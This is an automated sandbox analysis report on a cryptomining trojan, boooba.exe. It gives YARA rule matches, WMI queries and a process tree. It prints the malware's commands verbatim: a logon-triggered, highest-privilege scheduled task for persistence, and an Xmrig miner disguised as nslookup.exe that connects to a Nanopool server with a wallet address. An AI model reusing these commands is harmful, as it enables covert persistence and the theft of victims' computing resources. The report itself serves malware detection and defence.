Source: 00000001.00000002.1725057798.0000015759250000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_5c38878d os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 3b55ec6c37891880b53633b936d10f94d2b806db1723875e4ac95f8a34d97150, id = 5c38878d-ca94-4fd9-a36e-1ae5fe713ca2, last_modified = 2021-01-13
Source: 0000000B.00000003.1780288557.000001E32C455000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 00000009.00000003.1779753714.0000013CBC45E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 00000009.00000003.1784061209.0000013CBC451000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 0000000B.00000003.1779051954.000001E32C453000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 0000000B.00000003.1783041722.000001E32C45D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 0000000B.00000003.1781787948.000001E32C45D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 00000009.00000003.1778886806.0000013CBC45C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 0000000B.00000003.1775201573.000001E32C458000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 0000000B.00000003.1777129699.000001E32C45A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 0000000B.00000003.1774272742.000001E32C455000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 00000009.00000003.1775332478.0000013CBC45A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 0000000B.00000003.1779467909.000001E32C452000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 0000000B.00000003.1772421269.000001E32C453000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 0000000B.00000003.1788508164.000001E32C45D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 00000009.00000003.1770961178.0000013CBC453000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 0000000B.00000003.1780781024.000001E32C458000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 0000000B.00000003.1776641956.000001E32C456000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 00000009.00000003.1775882569.0000013CBC45F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 00000009.00000003.1790022060.0000013CBC459000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 0000000B.00000003.1784241324.000001E32C451000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 00000009.00000003.1772851303.0000013CBC452000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 0000000B.00000003.1772933403.000001E32C458000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 00000009.00000003.1773553446.0000013CBC452000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 0000000B.00000003.1774784480.000001E32C453000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 00000009.00000003.1774354264.0000013CBC454000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: Process Memory Space: conhost.exe PID: 5348, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: Process Memory Space: conhost.exe PID: 4136, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25

Source: classification engine

Classification label: mal100.troj.evad.mine.winEXE@26/5@1/1

Source: C:\Windows\System32\conhost.exe

File created: C:\Users\user\IOAshdohSha.exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7132:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6924:120:WilError_03

Source: boooba.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine, ProcessID from Win32_Process
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine, ProcessID from Win32_Process
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='nslookup.exe'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='nslookup.exe'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='nslookup.exe'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='nslookup.exe'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='nslookup.exe'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='nslookup.exe'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='nslookup.exe'
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='nslookup.exe'

Source: C:\Windows\System32\conhost.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\boooba.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: boooba.exe

ReversingLabs: Detection: 71%

Source: nslookup.exe	String found in binary or memory: id-cmc-addExtensions
Source: nslookup.exe	String found in binary or memory: set-addPolicy
Source: nslookup.exe	String found in binary or memory: id-cmc-addExtensions
Source: nslookup.exe	String found in binary or memory: set-addPolicy

Source: unknown	Process created: C:\Users\user\Desktop\boooba.exe "C:\Users\user\Desktop\boooba.exe"
Source: C:\Users\user\Desktop\boooba.exe	Process created: C:\Windows\System32\conhost.exe "C:\Windows\System32\conhost.exe" "C:\Users\user\Desktop\boooba.exe"
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "IOAshdohSha" /tr "C:\Users\user\IOAshdohSha.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "IOAshdohSha" /tr "C:\Users\user\IOAshdohSha.exe"
Source: unknown	Process created: C:\Users\user\IOAshdohSha.exe C:\Users\user\IOAshdohSha.exe
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c "C:\Users\user\IOAshdohSha.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\IOAshdohSha.exe C:\Users\user\IOAshdohSha.exe
Source: C:\Users\user\IOAshdohSha.exe	Process created: C:\Windows\System32\conhost.exe "C:\Windows\System32\conhost.exe" "C:\Users\user\IOAshdohSha.exe"
Source: C:\Windows\System32\conhost.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe "C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe"
Source: C:\Users\user\IOAshdohSha.exe	Process created: C:\Windows\System32\conhost.exe "C:\Windows\System32\conhost.exe" "C:\Users\user\IOAshdohSha.exe"
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\nslookup.exe C:\Windows/System32\nslookup.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:10300 --user=45dXYsg6JEFipo688i2DkJFNBPbGZCjXpMYLRn8TRMpsYQH37gdzKMeHPjXrvfXAbZF32ifsRRLqEKoA1zsiskRJNyJydQG --pass= --cpu-max-threads-hint=100
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\nslookup.exe C:\Windows/System32\nslookup.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:10300 --user=45dXYsg6JEFipo688i2DkJFNBPbGZCjXpMYLRn8TRMpsYQH37gdzKMeHPjXrvfXAbZF32ifsRRLqEKoA1zsiskRJNyJydQG --pass= --cpu-max-threads-hint=100
Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe	Process created: C:\Windows\System32\conhost.exe "C:\Windows\System32\conhost.exe" "/sihost64"
Source: C:\Users\user\Desktop\boooba.exe	Process created: C:\Windows\System32\conhost.exe "C:\Windows\System32\conhost.exe" "C:\Users\user\Desktop\boooba.exe"	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "IOAshdohSha" /tr "C:\Users\user\IOAshdohSha.exe"	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c "C:\Users\user\IOAshdohSha.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "IOAshdohSha" /tr "C:\Users\user\IOAshdohSha.exe"	Jump to behavior
Source: C:\Users\user\IOAshdohSha.exe	Process created: C:\Windows\System32\conhost.exe "C:\Windows\System32\conhost.exe" "C:\Users\user\IOAshdohSha.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\IOAshdohSha.exe C:\Users\user\IOAshdohSha.exe	Jump to behavior
Source: C:\Users\user\IOAshdohSha.exe	Process created: C:\Windows\System32\conhost.exe "C:\Windows\System32\conhost.exe" "C:\Users\user\IOAshdohSha.exe"	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe "C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe"	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\nslookup.exe C:\Windows/System32\nslookup.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:10300 --user=45dXYsg6JEFipo688i2DkJFNBPbGZCjXpMYLRn8TRMpsYQH37gdzKMeHPjXrvfXAbZF32ifsRRLqEKoA1zsiskRJNyJydQG --pass= --cpu-max-threads-hint=100	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe	Process created: C:\Windows\System32\conhost.exe "C:\Windows\System32\conhost.exe" "/sihost64"	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\nslookup.exe C:\Windows/System32\nslookup.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:10300 --user=45dXYsg6JEFipo688i2DkJFNBPbGZCjXpMYLRn8TRMpsYQH37gdzKMeHPjXrvfXAbZF32ifsRRLqEKoA1zsiskRJNyJydQG --pass= --cpu-max-threads-hint=100	Jump to behavior

Source: C:\Users\user\Desktop\boooba.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\IOAshdohSha.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: wldp.dll	Jump to behavior

Source: C:\Windows\System32\conhost.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: boooba.exe

Static file information: File size 2234368 > 1048576

Source: boooba.exe

Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x21fc00

Persistence and Installation Behavior

Sample is not signed and drops a device driver

Source: C:\Windows\System32\conhost.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Libs\WR64.sys

Jump to behavior

